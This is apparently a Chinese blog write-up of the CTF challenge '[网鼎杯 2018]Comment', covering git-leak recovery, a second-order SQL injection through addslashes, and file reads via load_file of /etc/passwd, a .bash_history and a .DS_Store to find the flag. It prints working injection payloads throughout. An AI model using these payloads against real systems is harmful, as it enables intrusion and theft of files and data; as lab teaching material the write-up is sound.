• [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看


    首先我们看到账号密码有提示了

    我们bp爆破一下

    我首先对数字爆破 因为全字符的话太多了

    爆出来了哦

    所以账号密码也出来了

    1. zhangwei
    2. zhangwei666

    没有什么用啊

    扫一下吧

    git

    git泄露

    那泄露看看

    真有

    1. include "mysql.php";
    2. session_start();
    3. if($_SESSION['login'] != 'yes'){
    4. header("Location: ./login.php");
    5. die();
    6. }
    7. if(isset($_GET['do'])){
    8. switch ($_GET['do'])
    9. {
    10. case 'write':
    11. break;
    12. case 'comment':
    13. break;
    14. default:
    15. header("Location: ./index.php");
    16. }
    17. }
    18. else{
    19. header("Location: ./index.php");
    20. }
    21. ?>

    原本的githack坏了

    mirrors / BugScanTeam / GitHack · GitCode

    重新下了一个 需要下载后 里面存在 .git文件夹

    然后看上面的代码 根本没有看懂 感觉不是全部

    git 恢复

    所以我们可以使用git log --all看看

    以前的情况

     我们直接回到最开始

    git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
    1. include "mysql.php";
    2. session_start();
    3. if($_SESSION['login'] != 'yes'){
    4. header("Location: ./login.php");
    5. die();
    6. }
    7. if(isset($_GET['do'])){
    8. switch ($_GET['do'])
    9. {
    10. case 'write':
    11. $category = addslashes($_POST['category']);
    12. $title = addslashes($_POST['title']);
    13. $content = addslashes($_POST['content']);
    14. $sql = "insert into board
    15. set category = '$category',
    16. title = '$title',
    17. content = '$content'";
    18. $result = mysql_query($sql);
    19. header("Location: ./index.php");
    20. break;
    21. case 'comment':
    22. $bo_id = addslashes($_POST['bo_id']);
    23. $sql = "select category from board where id='$bo_id'";
    24. $result = mysql_query($sql);
    25. $num = mysql_num_rows($result);
    26. if($num>0){
    27. $category = mysql_fetch_array($result)['category'];
    28. $content = addslashes($_POST['content']);
    29. $sql = "insert into comment
    30. set category = '$category',
    31. content = '$content',
    32. bo_id = '$bo_id'";
    33. $result = mysql_query($sql);
    34. }
    35. header("Location: ./comment.php?id=$bo_id");
    36. break;
    37. default:
    38. header("Location: ./index.php");
    39. }
    40. }
    41. else{
    42. header("Location: ./index.php");
    43. }
    44. ?>

    全部代码就出来了

    用了个switch 内容为go

    1. addslashes 这里是 通过转义的方式 存入数据库 很容易造成二次注入
    2. 因为会把内容原封不动传入数据库
    3. 如果读取 就会造成二次注入
    1. case 'comment':
    2. $bo_id = addslashes($_POST['bo_id']);
    3. $sql = "select category from board where id='$bo_id'";
    4. $result = mysql_query($sql);
    5. $num = mysql_num_rows($result);
    6. 这里我们能发现 查询的内容 是 category
    7. 所以category 就是我们写入的内容的参数了

    这里懂得差不多了

    1. $bo_id = addslashes($_POST['bo_id']);
    2. $sql = "select category from board where id='$bo_id'";
    3. $result = mysql_query($sql);
    4. $num = mysql_num_rows($result);
    5. if($num>0){
    6. $category = mysql_fetch_array($result)['category'];
    7. 主要是这里 设定了从数据库提取出来的值
    8. $content = addslashes($_POST['content']);
    9. $sql = "insert into comment
    10. set category = '$category',
    11. content = '$content',
    12. bo_id = '$bo_id'";
    13. $result = mysql_query($sql);
    14. 这里我们就可以构造了
    15. $category=0' content = database(),/* 后面的/*是用来和我们详情里面输入的content闭合

    我们首先写入留言

    0',content=database(),/*

    然后进去提交留言

    这个时候就会形成

    1. $sql = "insert into comment
    2. set category = '0',content = database(),/*',
    3. content = '*/#',
    4. bo_id = '$bo_id'";
    5. $result = mysql_query($sql);
    6. 更直观点
    7. $sql = "insert into comment
    8. set category = '0',content = database(),/*',content = '*/#',
    9. bo_id = '$bo_id'";
    10. /*',content = '*/#'
    11. 这里就为空了 所以现在的语句是
    12. set category = '0',content = database(),
    13. bo_id = '$bo_id'";

    然后我们进行查表 发现没有flag

    于是我们可以看看user()函数

    发现是root权限

    那么多半就是 读取了

    load_file可以读取

    我们读取看看

    这里又是另一个文件读取的方法了

    之前做的题 proc这里没有用

    任意文件读取

    .bash_history      

    我们首先去查看 etc/passwd

    0',content=(select load_file('/etc/passwd')),/*

    发现存在 www用户 我们去看看他的历史命令

    0',content=(select load_file('/home/www/.bash_history')),/*

    这里发现了 是删除了 .DS_Store

    但是ctf环境一般都是docker环境 所以在

    /tmp/html下还会存在

    我们去读取

    1. 0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
    2. 这里需要通过十六进制输出 因为会有很多不可见的字符

     .DS_Store泄露

    我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出

    然后通过 Python-dsstore-master

    来实现解析读取文件

    py3 .\main.py .\samples\download.dat

    我们来解析读取这个flag

    0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

     但是这个文件是错误的 flag为错误

    可能修改了 所以我们回去 /var进行读取

    0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
    flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}

    知识点 过多了。。。。。

    虽然都很基础 但是有的时候 真没想到 可以以后再做一次

  • 相关阅读:
    精通Spring Boot单元测试:构建健壮的Java应用
    鸿鹄工程项目管理系统em Spring Cloud+Spring Boot+前后端分离构建工程项目管理系统
    8.10 - 软件运维
    Unity 代码控制Text文本换行
    一套轻量、安全的问卷系统基座,提供面向个人和企业的一站式产品级解决方案
    win10 系统重装 (官方纯净版,无预置应用)
    《SpringBoot篇》02.SpringBoot程序的打包与运行(jar包的运行原理)
    Javascript知识【基础语法】
    基于模板匹配算法的交通标志识别(MATLAB源码)
    arcgis 线转面如何保留线的属性?
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/133715695